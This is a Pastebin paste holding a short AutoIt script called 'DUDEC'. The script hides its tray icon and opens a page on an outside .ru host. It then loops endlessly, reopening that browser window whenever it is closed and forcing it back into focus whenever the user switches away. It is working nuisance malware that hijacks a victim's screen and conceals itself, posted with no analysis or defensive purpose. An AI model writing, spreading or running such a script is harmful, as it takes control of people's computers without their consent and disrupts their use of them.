Advertisement
Guest User

DUDEC

a guest
Feb 15th, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 0.44 KB | None | 0 0
  1. Func StartDudec()
  2.    ShellExecute("http://misc.goltikree.ru/mrdudec.html")
  3.    Sleep(15000)
  4. EndFunc
  5.  
  6.  
  7. AutoItSetOption("TrayIconHide", 1)
  8.  
  9. WinWaitActive("Mr. Dudec - Google Chrome")
  10.  
  11.  
  12. While true
  13.    if Not WinExists("Mr. Dudec - Google Chrome") then
  14.       StartDudec()
  15.    EndIf
  16.    if  (Not WinActive("Mr. Dudec - Google Chrome")) And WinExists("Mr. Dudec - Google Chrome") Then
  17.       WinActivate("Mr. Dudec - Google Chrome")
  18.       EndIf
  19.    WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement